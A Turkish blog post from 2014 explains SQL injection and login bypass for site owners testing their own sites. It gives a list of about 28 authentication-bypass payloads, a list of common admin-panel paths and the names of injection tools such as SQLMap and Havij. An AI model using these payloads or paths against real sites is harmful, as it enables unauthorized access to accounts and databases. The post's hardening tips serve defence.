24 Ocak 2014

SQL Injection Güvenliği ve Login Bypass Testi

Login Bypass

SQL Injection Saldırısı veya Veritabanı açığı saldırısı olarak ta bilinen ve halen birçok site için geçerli olan yöntemin güvenlik amaçlı kendi siteniz üzerinde nasıl deneyeceğinizi anlatacağım.

Genelde Windows sunucularında daha çok görülen ve Microsoft web uygulamalarının (ASP, ASP.NET) veritabanlarında karşılaşılan bir saldırı çeşididir. Microsoft Access ve MsSQL veritabanı kullanan sistemlerde bu güvenlik açığına çokça rastlanmaktadır.

PHP tabanlı MySQL, MariaDB ve benzeri veritabanı kullanan siteler içinde geçerlidir bu saldırı. Tabi PHP yapısı son zamanlarda özellikle CMS üzerinde yapılan yoğun çalışmalar ile SQL Injection saldırıları minimuma indirilmiştir.

Özellikle WordPress gibi gelişmiş bir CMS kullanıyorsanız bu yazılımda Zero-Day dediğimiz kritik güvenlik açığı bulmak hem zor hemde güncellemesi açık bulunduktan birkaç saat içinde yayınlanıyor. PHP tabanlı sitelerde ek olarak kullanıcının şifre bilgisi MD5 olarak kriptolandığı içinde bu saldırı çeşidi PHP sitelerde yapıldığı zaman ele geçirilen şifre bilgisi kriptolu olduğu için yönetim arayüzüne ulaşmak daha zordur.

SQL Injection Nedir?
Web uygulamalarında bir çok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Mesela "SELECT * FROM Urunler" örnek SQL cümleciği basit şekilde veri tabanından web uygulamasına tüm ürün bilgilerini getirecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection'a sebep olabilir. SQL için kritik meta karakter (') tek tırnaktır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.

Manüel olarak ise tek tırnak meta karakterini tarayıcı (Browser) üzerinde şu şekilde deneyebiliriz;
domain.com/urunler.aspx?id=20 bu isteğin sonuna (') tek tırnak konur. urunler.aspx?id=20' daha sonra site tarafından bir SQL hatası alınırsa SQL Injection yapılabileceğini göstermektedir zafiyet.

Login Bypass Testi
SQL Injection Saldırısının en basit ve kendi sitenizde de deneyebileceğiniz yöntem olan Login Bypass, Kullanıcı adı ve Şifre kısmına Bypass edici meta kodlarını yazarak panele giriş yapabilmeyi göstereceğim. Bu saldırıyı deneme yanılma yolu ile yapabilirsiniz aşağıdaki kodları kullanarak.

''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1-- 
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--

Birçok sitenin yönetim paneli giriş sayfası standarttır. Bunları çoğu aşağıda vereceğim dizin veya dosya uzantısı şeklinde inceleyebilirsiniz. Bunlardan kaçının ve yönetim paneline giriş dosya isminizi mutlaka bilinmeyecek şekilde değiştirin.

Örnek olarak bir sitenin yönetim paneli: domain.com/admin/login.asp olsun. Eğer dosya veya dizin isimlerini değiştirme gibi bir şansınız yoksa. Yönetim dizini yani örnekteki gibi admin klasörüne cPanel, Plesk, MaestroPanel gibi Web yönetim panelinde bu dizinlere ön şifreleme koymanızı öneririm. Bu paneller dışında özellikle Linux Hosting alt yapısı kullanan siteler Htaccess dosyası ile de ön şifreleme paneli oluşturabilir.

SQL Injection Güvenliği ve Login Bypass Testi

Bunu yapmamızın sebebi Hacker tarafından veritabanı yönetim bilgileri çekilse bile yönetim panelinden giriş yapamayacak olmasıdır. Tabi diğer bilgilerin çekilmemesi için sitedeki SQL açığını kapatmak zorundasınız.

/admin
/admin/login.asp
/yonetim
/yonetim/giris.php
/panel
/kontrolpanel
/administrator
/giris
/login
/superadmin
/controlpanel
/yonetici
/sitepanel

Bilgi Güvenliği için Test Araçları
Bilgi güvenliğiniz için SQL Injection açıklarını kendi sitenizde aşağıdaki araçları kullanarak arayabilir ve test edebilirsiniz. Bu sayede hangi sayfada yazılımsal açık var onu bularak müdahale edebilirsiniz. Aynı zamanda aşağıdaki araçlar ile sadece SQL değil Web siteniz üzerindeki diğer zafiyetleri taramak içinde kullanabilirsiniz.

1) Acunetix Web Vulnerability Scanner
14 günlük deneme versiyonu ile sitenizdeki hem SQL açıklarını hemde diğer zafiyetleri tarayarak görebilirsiniz.
www.acunetix.com/vulnerability-scanner
www.acunetix.com/vulnerability-scanner/download
en.wikipedia.org/wiki/Web_application_security

2) Havij
SQL açığı bulduğunuz veya şüphelendiğiniz sayfayı detaylı olarak incelemek için kullanabileceğiniz bir yazılımdır. Bulduğunuz zafiyet üzerinden sitenin Tablo ve Sütunlarını öğrenmenizi sağlar.
pt.wikipedia.org/wiki/Havij_-_Advanced_SQL_Injection

3) jSQL Injection
Java ile yazılmış Havij benzeri SQL Injection test yazılımıdır. Uygulamayı çalıştırmak için bilgisayarda JAVA ve Java Geliştirme Paketi (JDK) kurulu olması gerekir.
github.com/ron190/jsql-injection/releases (jSQL Injection versiyon 0.73)
code.google.com/p/jsql-injection/downloads/list (jSQL Injection versiyon 0.5)

4) SQLMap: Python dilinde yazılmış SQL hatalarını bulmaya yarayan bir güvenlik yazılımıdır. Yazılımı bir Linux dağıtımı üzerinde kullanmanızı öneririm çünkü işlemleri Terminal üzerinde yapıyorsunuz. Tabi isteyenler Windows'a Python yükleterek de çalışabilir. Manüel olarak çalışacağınız için Basic SQL kod bilgisine ihtiyacınız vardır. Havij gibi kullanımı basit değildir.
www.sqlmap.org
github.com/sqlmapproject/sqlmap
sourceforge.net/projects/sqlmap
tools.kali.org/vulnerability-analysis/sqlmap

5) HackerTarget.com: Online güvenlik zafiyetlerini taramak için yapılmış güzel bir çalışma. Tüm testleri sitenin arayüzünden yapıyorsunuz. Nmap Port Scanner, SQL Injection Scan, WordPress Scanner gibi hizmetleri var.
www.hackertarget.com
www.hackertarget.com/scan-membership

Kaynaklar
tr.wikipedia.org/wiki/SQL_Injection
en.wikipedia.org/wiki/SQL_injection
SQL Injection' a Giriş ve SQL Injection Nedir?
SQL Injection w3schools
SQL Injection Wiki
SQL Injection Authentication Bypass
SQL Injection’tan Korunmanın Yolları

1 yorum: